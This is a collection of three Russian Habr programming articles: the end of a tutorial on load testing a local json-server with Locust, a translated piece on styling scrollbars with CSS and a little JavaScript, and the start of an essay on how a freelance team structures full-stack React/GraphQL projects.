* Результат предыдущего пункта — нужен мозг. Как и в случае с использованием Postman, необходимо понимание работы HTTP
* Нужны минимальные навыки программирования
* Линейная модель нагрузки — что сразу расстраивает любителей генерировать пользователей “по Гауссу”
Процесс тестирования
--------------------
Любое тестирование — комплексная задача, требующая планирования, подготовки, контроля выполнения и анализа результатов. При нагрузочном тестировании, если есть возможность, можно и нужно собирать все возможные данные, которые могут повлиять на результат:
* Hardware сервера (CPU, RAM, ROM)
* Software сервера (OS, версии сервера, JAVA, .NET, и пр., база данных и количество самих данных, логи сервера и тестируемого приложения)
* Пропускная способность сети
* Наличие прокси серверов, балансировщиков нагрузки и DDOS защиты
* Данные нагрузочного тестирования (количество пользователей, среднее время отклика, количество запросов в секунду)
Описанные далее примеры можно классифицировать как black-box функциональное нагрузочное тестирование. Даже не зная ничего о тестируемом приложении и не доступа к логам, мы можем измерить его производительность.
Перед началом
-------------
Для того, чтобы на практике проверять нагрузочные тесты, я развернул локально простой веб сервер <https://github.com/typicode/json-server>. Почти все следующие примеры я буду приводить для него. Данные для сервера я взял из развернутого онлайн примера — <https://jsonplaceholder.typicode.com/>
Для его запуска необходим nodeJS.
**Очевидный спойлер**: как и с тестированием безопасности — эксперименты с нагрузочным тестированием лучше проводить на кошках локально, не нагружая онлайн сервисы, чтобы вас не забанили
Для того, чтобы начать, также необходим Python — во всех примерах я буду использовать версию 3.6, а также сам locust (на момент написания статьи — версия 0.9.0). Его можно установить командой
```
python -m pip install locustio
```
Подробности установки можно подсмотреть в официальной документации.
Разбор примера
--------------
Далее нам нужен файл теста. Я взял пример из документации, так как он очень прост и понятен:
```
from locust import HttpLocust, TaskSet
def login(l):
l.client.post("/login", {"username":"ellen_key", "password":"education"})
def logout(l):
l.client.post("/logout", {"username":"ellen_key", "password":"education"})
def index(l):
l.client.get("/")
def profile(l):
l.client.get("/profile")
class UserBehavior(TaskSet):
tasks = {index: 2, profile: 1}
def on_start(self):
login(self)
def on_stop(self):
logout(self)
class WebsiteUser(HttpLocust):
task_set = UserBehavior
min_wait = 5000
max_wait = 9000
```
Все! Этого реально достаточно, чтобы начать тест! Давайте разберем пример, прежде чем перейдем к запуску.
Пропуская импорты, в самом начале мы видим 2 почти одинаковые функции логина и логаута, состоящие из одной строчки. **l.client** — объект HTTP сессии, с помощью которой мы будем создавать нагрузку. Мы используем метод POST, почти идентичный такому же в библиотеке requests. Почти — потому что в данном примере мы передаем в качестве первого аргумента не полный URL, а только его часть — конкретный сервис.
Вторым аргументом передаются данные — и не могу не заметить, что очень удобно использовать словари Python, которые автоматически конвертируются в json
Также можно обратить внимание, что мы никак не обрабатываем результат запроса — если он будет успешен, результаты (например cookie), будут сохранены в этой сессии. Если произойдет ошибка — она будет записана и добавлена в статистику о нагрузке
Если нам захочется узнать, правильно ли мы написали запрос, можно всегда проверить его следующим образом:
```
import requests as r
response=r.post(base_url+"/login",{"username":"ellen_key","password":"education"})
print(response.status_code)
```
Я добавил только переменную **base\_url**, которая должна содержать полный адрес тестируемого ресурса.
Следующее несколько функций — запросы, за счет которых будет создаваться нагрузка. Опять же, нам не нужно обрабатывать ответ сервера — результаты пойдут сразу в статистику.
Дальше — класс **UserBehavior** (название класса может быть любое). Как видно из названия, в нем будет описано поведение сферического пользователя в вакууме тестируемого приложения. Свойству **tasks** мы передаем словарь методов, которые будет вызывать пользователь и их частоту вызовов. Теперь, несмотря на то, что мы не знаем, какую функцию и в каком порядке будет вызывать каждый пользователь — они выбираются случайно, мы гарантируем, что функция **index** вызовется в среднем в 2 раза чаще, чем функция **profile**.
Кроме поведения, родительский класс TaskSet позволяет задать 4 функции, которые можно выполнить до и после тестов. Порядок вызовов будет следующим:
1. **setup** — вызывается 1 раз при старте **UserBehavior(TaskSet)** — его нет в примере
2. **on\_start** — вызывается 1 раз каждым новым пользователем нагрузки при старте работы
3. **tasks** — выполнение самих задач
4. **on\_stop** — вызывается 1 раз каждым пользователем, когда тест заканчивает работу
5. **teardown** — вызывается 1 раз, когда **TaskSet** завершает работу — его тоже нет в примере
Здесь же стоит упомянуть, что есть 2 способа объявления поведения пользователя: первый уже указан в примере выше — функции объявлены заранее. Второй способ — объявления методов прямо внутри класса **UserBehavior**:
```
from locust import HttpLocust, TaskSet, task
class UserBehavior(TaskSet):
def on_start(self):
self.client.post("/login", {"username":"ellen_key", "password":"education"})
def on_stop(self):
self.client.post("/logout", {"username":"ellen_key", "password":"education"})
@task(2)
def index(self):
self.client.get("/")
@task(1)
def profile(self):
self.client.get("/profile")
class WebsiteUser(HttpLocust):
task_set = UserBehavior
min_wait = 5000
max_wait = 9000
```
В этом примере функции пользователя и частота их вызова задана с помощью аннотации **[task](https://habr.com/users/task/)**. Функционально же ничего не изменилось
Последний класс из примера — **WebsiteUser** (название класса может быть любое). В этом классе мы задаем модель поведений пользователя **UserBehavior**\*\*\*+, а также минимальное и максимальное время ожидания между вызовами отдельных task каждым пользователем. Чтобы было понятнее, вот как это можно визуализировать:
Начало работы
-------------
Запустим сервер, производительность которого мы будем тестировать:
```
json-server --watch sample_server/db.json
```
Так же модифицируем файл примера, чтобы он соответствовал мог тестировать сервис, уберем логин и логаут, зададим поведение пользователя:
1. Открыть главную страницу 1 раз при начале работы
2. Получить список всех постов х2
3. Написать комментарий к первому посту х1
```
from locust import HttpLocust, TaskSet, task
class UserBehavior(TaskSet):
def on_start(self):
self.client.get("/")
@task(2)
def posts(self):
self.client.get("/posts")
@task(1)
def comment(self):
data = {
"postId": 1,
"name": "my comment",
"email": "test@user.habr",
"body": "Author is cool. Some text. Hello world!"
}
self.client.post("/comments", data)
class WebsiteUser(HttpLocust):
task_set = UserBehavior
min_wait = 1000
max_wait = 2000
```
Для запуска в командной строке надо выполнить команду
```
locust -f my_locust_file.py --host=http://localhost:3000
```
где host — адрес тестируемого ресурса. Именно к нему будут добавлены адреса сервисов, указанные в тесте.
Если никаких ошибок в тесте нет, нагрузочный сервер запустится и будет доступен по адресу <http://localhost:8089/>
Как видим, здесь указан сервер, который мы будем тестировать — именно к этому URL будут добавлятся адреса сервисов из файла теста.
Также здесь мы можем указать количество пользователей для нагрузки и их прирост в секунду.
По кнопке начинаем нагрузку!
Результаты
----------
Через определенное время остановим тест и взглянем на первые результаты:
1. Как и ожидалось, каждый из 10 созданных пользователей при старте зашел на главную страницу
2. Список постов в среднем открывался в 2 раза чаще, чем писался комментарий
3. Есть среднее и медианное время отклика для каждой операции, количество операций в секунду — это уже полезные данные, хоть сейчас бери и сравнивай их с ожидаемым результатом из требований
На второй вкладке можно посмотреть графики нагрузки в режиме реального времени. В случае, если сервер падает при определенной нагрузке или его поведение меняется, на графике это будет сразу видно.
На третей вкладке можно посмотреть ошибки — в моем случае это ошибка клиента. Но если сервер вернет 4ХХ или 5ХХ ошибку — ее текст будет записан именно здесь
Если ошибка случится в коде вашего текста — она попадет во вкладку Exceptions. Пока что у меня самая частая ошибка связана с использованием команды print() в коде — это не лучший способ логирования :)
На последней вкладке можно загрузить все результаты теста в формате csv
Эти результаты релевантны? Давайте разберемся. Чаще всего требования к производительности (если такие вообще заявляются) звучат примерно так: среднее время загрузки страницы (ответа сервера) должно быть меньше N секунд при нагрузке M пользователей. Не особо уточняя, что должны делать пользователи. И этим мне нравится locust — он создает активность конкретного числа пользователей, которые в случайном порядке выполняют предполагаемые действия, которые ожидают от пользователей.
Если нам нужно провести benchmark — измерить поведение системы при разной нагрузке, мы может создать несколько классов поведения и провести несколько тестов при разных нагрузках.
Для начала этого достаточно. Если вам понравилась статья, я в ближайшее время планирую написать о:
* сложных сценариях тестирования, в которых результаты одного шага используются в следующих
* обработке ответа сервера, т.к. он может быть неправильным, даже если пришел HTTP 200 OK
* неочевидных сложностях, с которыми можно столкнутся и как их обойти
* тестировании без использования UI
* распределенном нагрузочном тестировании | https://habr.com/ru/post/430502/ | null | ru | null |
# Заходят как-то два браузера в скроллбар…
[](https://habr.com/ru/company/ruvds/blog/468405/) Скроллбар (scrollbar, полоса прокрутки) — это простой, но эффективный механизм, который действует как основное средство, с помощью которого можно просматривать большие документы. Но это — далеко не всё, на что способны полосы прокрутки! Эти скромные рабочие лошадки ещё и неплохо подсказывают пользователям о том, каковы размеры документов, с которыми они взаимодействуют. В результате скроллбары несут на себе двойную нагрузку. Они и помогают работать с различными материалами, и информируют пользователя о размерах этих материалов.
Простая и понятная логика скроллбаров может быть изменена при реализации механизмов скроллджекинга. Это происходит тогда, когда стандартное поведение скроллбара меняется, что нарушает ожидаемое пользователем соответствие между длиной документа и высотой скроллбара.
Более того — программы для устройств, обладающих сенсорными экранами, популяризировали идею скрытия скроллбаров. При таком подходе скроллбары оказываются невидимыми до тех пор, пока пользователь не начнёт прокручивать элемент, не помещающийся в некую область просмотра. В результате оказывается, что ради визуальной привлекательности приложений дизайнеры жертвуют понятностью интерфейсов. Пользователю может понадобиться некоторое время на то, чтобы понять, что содержимое в некоем контейнере можно прокручивать. Такой контейнер может выглядеть так, будто прокрутку он не поддерживает, или так, будто прокрутка ему просто не нужна.
Классические настольные операционные системы подхватили этот мобильный тренд, пытаясь свести к минимуму вмешательство традиционных скроллбаров в дизайн приложений.
Материал, перевод которого мы публикуем сегодня, посвящён некоторым особенностям использования скроллбаров в веб-приложениях.
Немного терминологии
--------------------
Прежде чем мы продолжим — давайте определимся с парой терминов, которые мы будем тут использовать. А именно, мы выделяем две разновидности скроллбаров:
* Фиксированные (obtrusive) скроллбары — такие, которые занимают экранное пространство. Они не накладываются на просматриваемые материалы, вместо этого располагаясь рядом с ними.
* Нефиксированные (unobtrusive) скроллбары — такие, которые накладываются на контент. Они не отнимают экранное пространство у того, что находится в контейнерах, которым они принадлежат.
Стандартное поведение современных скроллбаров
---------------------------------------------
По умолчанию и в iOS, и в Android скроллбары являются нефиксированными.
В macOS (в частности, речь идёт об актуальной на момент написания этого материала macOS Mojave) скроллбары скрыты до момента начала прокрутки элемента. Это — стандартное поведение системы в ситуации, когда к компьютеру не подключена мышь. Существует три варианта отображения скроллбаров (соответствующие настройки можно найти по адресу `General > System Preferences`).
*Настройки скроллбаров в macOS Mojave*
Эти настройки, как удалось выяснить, контролируют поведение скроллбаров в браузерах Chrome, Firefox, и в новом Edge, основанном на Chromium.
[Вот](https://www.filamentgroup.com/images/scrollbars.mp4) видео, посмотрев которое можно узнать о том, как вышеупомянутые настройки влияют на скроллбары, и о том, как скроллбары, помимо того, что позволяют прокручивать контент, на него воздействуют. Вот несколько извлечений из этого видео.
*Фиксированный скроллбар в macOS виден всегда и занимает некоторое экранное пространство*
*Нефиксированный скроллбар в macOS накладывается на контент в процессе прокрутки документа*
*Нефиксированный скроллбар в macOS скрыт в тот момент, когда документ не прокручивают*
В Windows 10, по адресу `Settings > Display > Simplify and personalize Windows`, можно обнаружить похожие настройки.
*Настройки скроллбаров в Windows 10*
К сожалению, даже в том случае, когда включена опция `Automatically hide scroll bars in Windows`, она не оказывает влияния на Firefox, Chrome, Internet Explorer и Edge. В случае с Edge речь идёт и о варианте браузера, основанном на Chromium, и о варианте, основанном на EdgeHTML.
Обзор задачи
------------
Вот как выглядит в Windows страница, которую мы рассматривали выше в macOS.
*Страница со скроллбаром в Windows*
Скроллбары в Windows по умолчанию являются фиксированными. Они, кроме того, выглядят довольно-таки «тяжёлыми» с точки зрения дизайна. Они, в их стандартном варианте, гораздо шире, чем их собратья из macOS. Кроме того, цвет скроллбаров в Windows обычно соответствует системным настройкам, а не цветовой палитре веб-страницы.
Дизайнерам, которые привыкли к окружению macOS, но занимаются разработкой веб-приложений, рассчитанных на различные платформы, может быть нелегко сделать так, чтобы их проекты и хорошо выглядели бы в разных ОС, и при этом не тратили бы на визуализацию слишком много системных ресурсов.
Требования к проекту
--------------------
Мы хотим разработать веб-приложение, скроллбары, используемые в котором, отличаются следующими особенностями:
* Они должны привлекательно выглядеть при просмотре страниц на настольных ОС. Особенно это важно при отображении контейнеров, содержимое которых в них целиком не помещается. Скроллбары выводятся внутри таких контейнеров, а значит — дизайн этих скроллбаров должен хорошо согласовываться с дизайном контейнеров. Мы полагаем, что в случае со скроллбарами, позволяющими прокручивать всю страницу, это не так важно, но это, несомненно, спорный вопрос.
* Мы хотим минимизировать экранное пространство, которое может занимать скроллбар. В Windows скроллбары, по умолчанию, являются фиксированными и очень широкими.
* Мы хотим ориентироваться на системные настройки. Если пользователь выбирает в настройках нестандартную опцию, задающую поведение скроллбаров, нам нужно всегда, когда это возможно, это учитывать.
* Мы стремимся к тому, чтобы избежать использования тяжёлых JavaScript-решений (таких, как очень приятный плагин [OverlayScrollbars](https://github.com/KingSora/OverlayScrollbars)), рассчитанных на работу с нефиксированными скроллбарами. Они создают немалую нагрузку на клиентские компьютеры.
Насколько далеко можно продвинуться, используя CSS?
---------------------------------------------------
Вот код элемента-контейнера, которому назначен класс `overflowing-element`, а также — CSS-код для его стилизации:
```
.overflowing-element {
overflow-y: auto;
-webkit-overflow-scrolling: touch;
-ms-overflow-style: -ms-autohiding-scrollbar;
}
```
Если вам нужны нефиксированные скроллбары в Internet Explorer и в Edge, основанном на EdgeHTML, это значит, что вам пригодится свойство `-ms-overflow-style: -ms-autohiding-scrollbar;`. С его использованием всё будет работать так, как нужно (это достаточно просто — правда?).
Когда вышла iOS 13, то оказалось, что свойство [-webkit-overflow-scrolling: touch](https://twitter.com/jaffathecake/status/1136246215430086657) может и не потребоваться для улучшения физики скроллинга. Хотя, если нужно поддерживать более старые версии iOS, от использования этого свойства лучше не отказываться.
Если говорить о CSS-свойствах, имеющих отношение к скроллингу, то тут, возможно, полезным будет почитать о свойстве [overscroll-behavior](https://caniuse.com/#feat=css-overscroll-behavior). Оно позволяет управлять поведением системы при достижении границы элемента, поддерживающего прокрутку.
### ▍Firefox
Браузер Firefox поддерживает CSS-свойства без префиксов. Это — [scrollbar-color](https://caniuse.com/#feat=mdn-css_properties_scrollbar-color) и [scrollbar-width](https://caniuse.com/#feat=mdn-css_properties_scrollbar-width).
В следующем примере, для понятности, используются CSS-переменные, которые не поддерживаются в Internet Explorer 11:
```
:root {
--scrollbar-track-color: transparent;
--scrollbar-color: rgba(0,0,0,.2);
--scrollbar-width: thin; /* or `auto` or `none` */
}
.overflowing-element {
scrollbar-width: var(--scrollbar-width);
scrollbar-color: var(--scrollbar-color) var(--scrollbar-track-color);
}
```
### ▍Chrome и Safari, браузер Edge, основанный на Chromium, и прочие браузеры
Браузеры, основанные на Webkit и Blink, поддерживают нестандартные [псевдо-элементы](https://caniuse.com/#feat=css-scrollbar), предназначенные для настройки скроллбаров:
```
:root {
--scrollbar-track-color: transparent;
--scrollbar-color: rgba(0,0,0,.2);
--scrollbar-size: .375rem;
--scrollbar-minlength: 1.5rem; /* Минимальная длина бегунка скроллбара (ширина горизонтального, высота вертикального) */
}
.overflowing-element::-webkit-scrollbar {
height: var(--scrollbar-size);
width: var(--scrollbar-size);
}
.overflowing-element::-webkit-scrollbar-track {
background-color: var(--scrollbar-track-color);
}
.overflowing-element::-webkit-scrollbar-thumb {
background-color: var(--scrollbar-color);
/* Если нужно - добавьте :hover и:active */
}
.overflowing-element::-webkit-scrollbar-thumb:vertical {
min-height: var(--scrollbar-minlength);
}
.overflowing-element::-webkit-scrollbar-thumb:horizontal {
min-width: var(--scrollbar-minlength);
}
```
[Вот](https://codepen.io/zachleat/pen/WNezwqx) пример на CodePen, демонстрирующий возможности по настройке скроллбаров, выполняемой исключительно средствами CSS. А [вот](https://codepen.io/zachleat/pen/GRKxzqB) — пример, в котором демонстрируется стандартное поведение скроллбаров. Можете их сравнить.
Надо отметить, что у вышеприведённого кода есть одна проблема. Она заключается в том, что при установке свойств `height` или `width` псевдо-элемента `::-webkit-scrollbar` в macOS производится замена нефиксированного скроллбара на фиксированный (происходит переопределение стандартных настроек). Однако это несложно исправить с помощью небольшого фрагмента JavaScript-кода.
CSS и немного JS
----------------
Мы можем добавить в проект небольшой объём JavaScript-кода, который позволяет узнать о том, является ли стандартный скроллбар фиксированным или нет. Выглядит это примерно так:
```
/*
* Выяснение ширины скроллбара.
* К элементу body добавляется класс `layout-scrollbar-obtrusive`
* в том случае, если скроллбар использует экранное пространство.
*/
var parent = document.createElement("div");
parent.setAttribute("style", "width:30px;height:30px;");
parent.classList.add('scrollbar-test');
var child = document.createElement("div");
child.setAttribute("style", "width:100%;height:40px");
parent.appendChild(child);
document.body.appendChild(parent);
// Измерение дочернего элемента. Если его ширина
// не равняется 30px, то скроллбар является фиксированным.
var scrollbarWidth = 30 - parent.firstChild.clientWidth;
if(scrollbarWidth) {
document.body.classList.add("layout-scrollbar-obtrusive");
}
document.body.removeChild(parent);
```
Если скроллбар является фиксированным — мы добавляем к элементу документа `body` класс `layout-scrollbar-obtrusive`. Этот класс можно использовать для того, чтобы настраивать свойства `width` и `height` только фиксированных скроллбаров. Это позволяет избегать описанного выше вмешательства в поведение скроллбаров. В ходе такого вмешательства скроллбары меняются и проект отходит от системных настроек, выполненных пользователем. Вот стиль для класса `layout-scrollbar-obtrusive`:
```
.layout-scrollbar-obtrusive .layout-scrollbar::-webkit-scrollbar {
height: var(--scrollbar-size);
width: var(--scrollbar-size);
}
```
[Здесь](https://codepen.io/zachleat/pen/oNvprpX) можно найти пример применения методики, предусматривающей совместное использование CSS и JavaScript. [Вот](https://codepen.io/zachleat/pen/GRKxzqB), для сравнения, пример, демонстрирующий стандартное поведение системы.
Итоги: обзор решения задачи
---------------------------
На устройствах с сенсорными экранами, на которых применяются нефиксированные скроллбары (то есть — на iOS и Android-устройствах) мы просто пользуемся стандартным поведением скроллбаров.
В macOS у нас появляется возможность учитывать системные настройки, сделанные пользователем. Это означает, что мы не осуществляем непреднамеренного переключения между нефиксированными и фиксированными скроллбарами. Мы применяем стили лишь к фиксированным скроллбарам, которые видны всегда. Это позволяет нам приводить внешний вид страниц в соответствие с нашими требованиями к дизайну проекта.
В Windows, а именно — в браузерах Firefox и Chrome, нет стандартных нефиксированных скроллбаров, но тут можно, как и в других случаях, применить наш подход, предусматривающий использование исключительно возможностей CSS. Благодаря тому, что мы смогли выйти на работающие примеры использования скроллбаров, настраиваемых средствами CSS, нам удалось прийти к согласию с нашей командой дизайнеров. Мы остановились на компромиссном варианте и избежали использования тяжёлых JavaScript-решений.
Вот демонстрационные проекты, суть которых была описана выше:
* [Показ](https://codepen.io/zachleat/pen/GRKxzqB) стандартного поведения скролл-бара.
* [Решение](https://codepen.io/zachleat/pen/WNezwqx), в котором используется только CSS. Стилизуются все скролл-бары.
* [Решение](https://codepen.io/zachleat/pen/oNvprpX), в котором используются CSS и JavaScript. Стилизуются только фиксированные скроллбары.
**Уважаемые читатели!** Как вы стилизуете скроллбары в своих проектах?
[](https://ruvds.com/vps_start/)
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/468405/ | null | ru | null |
# Рассказ о том, как команда фрилансеров пишет фулстек-приложения на JavaScript
Автор материала, перевод которого мы сегодня публикуем, говорит, что [GitHub-репозиторий](https://github.com/TrillCyborg/fullstack), над которым работал он и ещё несколько фрилансеров, получил, по разным причинам, около 8200 звёзд за 3 дня. Этот репозиторий попал на первое место в HackerNews и в GitHub Trending, за него отдали голоса 20000 пользователей Reddit.
[](https://habr.com/ru/company/ruvds/blog/456340/)
В данном репозитории отражена методика разработки фулстек-приложений, которой посвящена эта статья.
Предыстория
-----------
Я собирался написать этот материал уже довольно давно. Полагаю, что лучшего момента, чем этот, когда наш репозиторий пользуется серьёзной популярностью, мне не найти.
*№ 1 в GitHub Trending*
Я работаю в команде [фрилансеров](https://elie.tech/). В наших проектах используется React/React Native, NodeJS и GraphQL. Этот материал предназначен для тех, кто хочет узнать о том, как мы разрабатываем приложения. Кроме того, он будет полезен тем, кто в будущем присоединится к нашей команде.
Сейчас я расскажу об основных принципах, которые мы используем при разработке проектов.
Чем проще — тем лучше
---------------------
«Чем проще — тем лучше», — это легче сказать, чем сделать. Большинство разработчиков отдают себе отчёт в том, что простота — это важный принцип разработки ПО. Но этому принципу не всегда легко следовать. Если код устроен просто — это облегчает поддержку проекта и упрощает командную работу над этим проектом. Кроме того, соблюдение этого принципа помогает в работе с кодом, который был написан, скажем, полгода назад.
Вот какие ошибки, касающиеся рассматриваемого принципа, мне приходилось встречать:
* Неоправданное стремление к выполнению принципа DRY. Иногда копирование и вставка кода — это вполне нормально. Не нужно абстрагировать каждые 2 фрагмента кода, которые чем-то похожи друг на друга. Я и сам совершал эту ошибку. Все, пожалуй, её совершали. DRY — это хороший подход к программированию, но выбор неудачной абстракции способен лишь ухудшить ситуацию и усложнить кодовую базу. Если вы хотите узнать подробности об этих идеях — рекомендую почитать материал «[AHA Programming](https://kentcdodds.com/blog/aha-programming)» Кента Доддса.
* Отказ от использования имеющихся инструментов. Один из примеров этой ошибки — использование `reduce` вместо `map` или `filter`. Конечно, с помощью `reduce` можно воспроизвести поведение `map`. Но это, вероятно, приведёт к росту размера кода, и к тому, что другим людям будет сложнее понять этот код, учитывая то, что «простота кода» — понятие субъективное. Иногда может понадобиться использовать именно `reduce`. А если сравнить скорость обработки набора данных с использованием объединённых в цепочку вызовов `map` и `filter`, и с использованием `reduce`, то окажется, что второй вариант работает быстрее. В варианте с `reduce` набор значений приходится просматривать один раз, а не два. Перед нами — спор производительности и простоты. Я, в большинстве случаев, отдал бы предпочтение простоте и стремился бы к тому, чтобы избежать преждевременной оптимизации кода, то есть, выбрал бы пару `map`/`filter` вместо `reduce`. А если бы оказалось так, что конструкция из `map` и `filter` стала узким местом системы, перевёл бы код на `reduce`.
Многие из идей, о которых речь пойдёт ниже, направлены на то, чтобы сделать кодовую базу как можно более простой и поддерживать её в таком состоянии.
Держите схожие сущности рядом друг с другом
-------------------------------------------
Этот принцип, «принцип колокации», применим ко многим частям приложения. Это и структура папок, в которых хранится код клиента и сервера, это и хранение кода проекта в одном репозитории, это и принятие решений о том, какой именно код оказывается в некоем файле.
### ▍Репозиторий
Рекомендуется держать код клиента и сервера в одном и том же репозитории. Это просто. Не стоит усложнять то, что усложнять не нужно. При таком подходе удобно организовать согласованную командную работу над проектом. Я работал над проектами, для хранения материалов которых использовались различные репозитории. Это — не катастрофа, но монорепозитории делают жизнь гораздо легче.
### ▍Структура проекта клиентской части приложения
Мы пишем фулстек-приложения. То есть — и код клиента, и код сервера. В структуре папки типичного клиентского проекта предусмотрены отдельные директории для компонентов, контейнеров, действий, редьюсеров и маршрутов.
Действия и редьюсеры присутствуют в тех проектах, в которых используется Redux. Я стремлюсь к тому, чтобы обходиться без этой библиотеки. Я уверен в том, что существуют качественные проекты, в которых используется такая же структура. В некоторых из моих проектов имеются отдельные папки для компонентов и контейнеров. В папке компонентов может храниться нечто вроде файлов с кодом таких сущностей, как `BlogPost` и `Profile`. В папке контейнеров имеются файлы, хранящие код контейнеров `BlogPostContainer` и `ProfileContainer`. Контейнер получает данные с сервера и передаёт их «глупому» дочернему компоненту, задача которого заключается в том, чтобы вывести эти данные на экран.
Это — рабочая структура. Она, по крайней мере, однородна, а это очень важно. Это ведёт к тому, что разработчик, присоединившийся к работе над проектом, быстро поймёт то, что в нём происходит, и то, какую роль играют его отдельные части. Минус этого подхода, из-за которого я в последнее время стараюсь им не пользоваться, заключается в том, что он заставляет программиста постоянно перемещаться по кодовой базе. Например, у сущностей `ProfileContainer` и `BlogPostContainer` нет ничего общего, но их файлы находятся рядом друг с другом и при этом далеко от тех файлов, в которых они по-настоящему используются.
Я с некоторых пор стремлюсь к тому, чтобы размещать файлы, содержимое которых планируется использовать совместно, в одних и тех же папках. Такой подход структурирования проекта основан на группировке файлов на основании реализуемых ими возможностей. Благодаря этому подходу можно значительно облегчить себе жизнь, если, например, поместить в одну папку родительский компонент и его «глупый» дочерний компонент.
Обычно мы используем папки `routes` / `screens` и папку `components`. В папке для компонентов обычно хранится код таких элементов, как `Button` или `Input`. Этот код может быть использован на любой странице приложения. Каждая папка, находящаяся в папке для маршрутов, представляет собой отдельную страницу приложения. При этом файлы с кодом компонентов и с кодом логики приложения, относящиеся к данному маршруту, находятся внутри той же самой папки. А код компонентов, которые используются на нескольких страницах, попадает в папку `components`.
В пределах папки маршрута можно создавать дополнительные папки, в которых сгруппирован код, ответственный за формирование разных частей страницы. Это имеет смысл в тех случаях, когда маршрут представлен большим объёмом кода. Тут, однако, мне хотелось бы предупредить читателя о том, что не стоит создавать структуры из папок с очень большим уровнем вложенности. Это усложняет перемещение по проекту. Глубокие вложенные структуры папок — это один из признаков чрезмерного усложнения проекта. Надо отметить, что использование специализированных инструментов, вроде команд поиска, даёт программисту удобные средства для работы с кодом проекта и для поиска того, что ему нужно. Но структура файлов проекта также оказывает влияние на удобство работы с ним.
Структурируя код проекта, можно группировать файлы, опираясь не на маршрут, а на реализуемые этими файлами возможности проекта. В моём случае этот подход отлично показывает себя на проектах-одностраничниках, реализующих множество возможностей на своей единственной странице. Но надо отметить, что группировка материалов проекта по маршрутам проще. Этот подход не требует особенных умственных усилий для того, чтобы принимать решения о том, какие именно сущности следует размещать рядом друг с другом, и для того, чтобы что-то искать.
Если пойти по пути группировки кода дальше, то можно решить, что код контейнеров и компонентов оправданно будет поместить в один и тот же файл. А можно пойти и ещё дальше — положить в один файл код двух компонентов. Полагаю, вы вполне можете думать сейчас о том, что рекомендовать такие вещи — это прямо-таки кощунство. Но в реальности всё далеко не так плохо. На самом деле, такой подход вполне себя оправдывает. И если вы используете хуки React, или сгенерированный код (или — и то и другое), я бы порекомендовал вам именно такой подход.
На самом деле, вопрос о том, как именно разложить код по файлам, имеет не первостепенную важность. Настоящий вопрос заключается в том, почему вообще может понадобиться делить компоненты на «умные» и «глупые». Какие выгоды можно извлечь от такого разделения? На этот вопрос можно дать несколько ответов:
1. Приложения, устроенные таким образом, легче тестировать.
2. При разработке таких приложений легче использовать инструменты наподобие Storybook.
3. «Глупые» компоненты можно использовать с множеством разных «умных» компонентов (и наоборот).
4. «Умные» компоненты можно использовать на разных платформах (например — на платформах React и React Native).
Всё это — реальные доводы в пользу разделения компонентов на «умные» и «глупые», но они применимы далеко не ко всем ситуациям. Например, мы часто, при создании проектов, используем [Apollo Client](https://www.apollographql.com/) с хуками. Для того чтобы такие проекты тестировать, можно либо создавать моки ответов Apollo, либо моки хуков. То же самое касается и Storybook. Если говорить о смешивании и совместном использовании «умных» и «глупых» компонентов, то я, на самом деле, никогда этого на практике не встречал. В том, что касается кроссплатформенного использования кода, был один проект, в котором я собирался сделать нечто подобное, но так и не сделал. Это должен был быть монорепозиторий [Lerna](https://lerna.js.org/). В наши дни вместо этого подхода вполне можно выбрать React Native Web.
В результате можно сказать, что в разделении компонентов на «умные» и «глупые» есть определённый смысл. Это — важная концепция, о которой стоит знать. Но часто о ней не нужно особенно сильно беспокоиться, особенно учитывая недавнее появление хуков React.
Сильная сторона совмещения в одной сущности возможностей «умных» и «глупых» компонентов заключается в том, что это ускоряет разработку, и в том, что это упрощает структуру кода.
Более того, если возникнет такая необходимость, некий компонент всегда можно разделить на два отдельных компонента — «умный» и «глупый».
#### Стилизация
Мы используем для стилизации приложений [emotion](https://emotion.sh/) / [styled components](https://www.styled-components.com/). Всегда есть соблазн выделить стили в отдельный файл. Я видел, как некоторые разработчики так и поступают. Но, после того как я испробовал оба подхода, я в итоге не нашёл причин для перемещения стилей в отдельный файл. Как и в случае со многим другим, о чём мы тут говорим, разработчик может облегчить себе жизнь, совмещая в одном файле стили и компоненты, к которым они относятся.
### ▍Структура проекта серверной части приложения
Всё вышесказанное справедливо и в отношении структурирования кода серверной части приложения. Типичная структура, которой лично я стараюсь избегать, может выглядеть примерно [так](https://dev.to/santypk4/bulletproof-node-js-project-architecture-4epf):
```
src
│ app.js # Точка входа в приложение
└───api # Контроллер маршрутов Express для всех конечных точек приложения
└───config # Переменные среды и средства конфигурирования
└───jobs # Объявление заданий для agenda.js
└───loaders # Разделение кода на модули
└───models # Модели баз данных
└───services # Бизнес-логика
└───subscribers # Обработчики событий для асинхронных задач
└───types # Файлы объявлений типов (d.ts) для Typescript
```
Мы в своих проектах обычно применяем GraphQL. Поэтому в них используются файлы, в которых хранятся модели, сервисы и распознаватели. Вместо того чтобы разбрасывать их по разным местам проекта, я собираю их в одной папке. Чаще всего эти файлы будут использоваться совместно, и с ними будет легче работать в том случае, если они будут храниться в одной и той же папке.
Не переписывайте по многу раз определения типов
-----------------------------------------------
Мы используем в своих проектах множество решений, так или иначе имеющих отношение к типам данных. Это TypeScript, GraphQL, схемы баз данных, и иногда MobX. В результате может оказаться так, что типы для одних и тех же сущностей описывают по 3-4 раза. Подобных вещей стоит избегать. Надо стремиться к использованию инструментов, автоматически генерирующих описания типов.
На сервере для этой цели можно воспользоваться комбинацией TypeORM/Typegoose и TypeGraphQL. Этого хватит для описания всех используемых типов. TypeORM/Typegoose позволит описать схему базы данных и соответствующие типы TypeScript. TypeGraphQL поможет в создании типов GraphQL и TypeScript.
Вот пример определения типов TypeORM (MongoDB) и TypeGraphQL в одном файле:
```
import { Field, ObjectType, ID } from 'type-graphql'
import {
Entity,
ObjectIdColumn,
ObjectID,
Column,
CreateDateColumn,
UpdateDateColumn,
} from 'typeorm'
@ObjectType()
@Entity()
export default class Policy {
@Field(type => ID)
@ObjectIdColumn()
_id: ObjectID
@Field()
@CreateDateColumn({ type: 'timestamp' })
createdAt: Date
@Field({ nullable: true })
@UpdateDateColumn({ type: 'timestamp', nullable: true })
updatedAt?: Date
@Field()
@Column()
name: string
@Field()
@Column()
version: number
}
```
[GraphQL Code Generator](https://graphql-code-generator.com/) также умеет генерировать множество различных типов. Мы используем этот инструмент для создания типов TypeScript на клиенте, а так же — хуков React, выполняющих обращения к серверу.
